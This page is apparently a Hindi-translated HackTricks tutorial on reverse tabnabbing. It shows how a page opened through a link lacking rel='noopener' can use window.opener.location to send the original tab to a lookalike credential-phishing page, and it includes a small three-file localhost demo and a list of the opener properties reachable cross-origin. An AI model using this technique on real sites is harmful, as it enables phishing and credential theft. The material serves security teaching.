tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

Description

एक स्थिति में जहां एक attacker href तर्क को <a टैग के साथ विशेषता target="_blank" rel="opener" को नियंत्रित कर सकता है जिसे एक पीड़ित द्वारा क्लिक किया जाने वाला है, attacker इस link को एक वेब पर इंगित करता है जो उसके नियंत्रण में है (एक malicious website)। फिर, जब victim लिंक पर क्लिक करता है और हमलावर की वेबसाइट तक पहुंचता है, तो यह malicious website window.opener जावास्क्रिप्ट ऑब्जेक्ट के माध्यम से original page को control करने में सक्षम होगी।
यदि पृष्ठ में rel="opener" नहीं है लेकिन target="_blank" है और इसमें rel="noopener" नहीं है, तो यह भी कमजोर हो सकता है।

इस व्यवहार का दुरुपयोग करने का एक सामान्य तरीका होगा window.opener.location = https://attacker.com/victim.html के माध्यम से original web के स्थान को बदलना, एक ऐसी वेब पर जो हमलावर द्वारा नियंत्रित है जो original one की तरह दिखती है, ताकि यह original website के login form की imitate कर सके और उपयोगकर्ता से क्रेडेंशियल्स मांग सके।

हालांकि, ध्यान दें कि चूंकि attacker अब मूल वेबसाइट के विंडो ऑब्जेक्ट को नियंत्रित कर सकता है, वह इसे अन्य तरीकों से stealthier attacks करने के लिए दुरुपयोग कर सकता है (शायद जावास्क्रिप्ट घटनाओं को संशोधित करके जानकारी को उसके द्वारा नियंत्रित सर्वर पर निकालना?)

Overview

जब रोकथाम विशेषता का उपयोग नहीं किया जाता है तो माता-पिता और बच्चे के पृष्ठों के बीच लिंक:

https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png

जब रोकथाम विशेषता का उपयोग किया जाता है तो माता-पिता और बच्चे के पृष्ठों के बीच लिंक:

https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png

Examples

एक फ़ोल्डर में निम्नलिखित पृष्ठ बनाएं और python3 -m http.server के साथ एक वेब सर्वर चलाएं।
फिर, access http://127.0.0.1:8000/vulnerable.html, click करें लिंक पर और नोट करें कि original website URL changes

vulnerable.html
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
malicious.html
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
malicious_redir.html
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>

Accessible properties

उस परिदृश्य में जहाँ cross-origin पहुँच होती है (विभिन्न डोमेन के बीच पहुँच), opener JavaScript ऑब्जेक्ट संदर्भ द्वारा संदर्भित window JavaScript क्लास उदाहरण की विशेषताएँ, जिन्हें एक दुर्भावनापूर्ण साइट द्वारा पहुँचा जा सकता है, निम्नलिखित तक सीमित हैं:

  • opener.closed: इस विशेषता का उपयोग यह निर्धारित करने के लिए किया जाता है कि क्या एक विंडो बंद हो गई है, जो एक बूलियन मान लौटाती है।
  • opener.frames: यह विशेषता वर्तमान विंडो के भीतर सभी iframe तत्वों तक पहुँच प्रदान करती है।
  • opener.length: वर्तमान विंडो में मौजूद iframe तत्वों की संख्या इस विशेषता द्वारा लौटाई जाती है।
  • opener.opener: इस विशेषता के माध्यम से वर्तमान विंडो को खोलने वाली विंडो का संदर्भ प्राप्त किया जा सकता है।
  • opener.parent: यह विशेषता वर्तमान विंडो के माता-पिता विंडो को लौटाती है।
  • opener.self: इस विशेषता द्वारा वर्तमान विंडो तक पहुँच प्रदान की जाती है।
  • opener.top: यह विशेषता सबसे ऊपरी ब्राउज़र विंडो को लौटाती है।

हालांकि, जब डोमेन समान होते हैं, तो दुर्भावनापूर्ण साइट को window JavaScript ऑब्जेक्ट संदर्भ द्वारा उजागर की गई सभी विशेषताओं तक पहुँच मिलती है।

Prevention

रोकथाम की जानकारी HTML5 Cheat Sheet में दस्तावेज़ित की गई है।

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें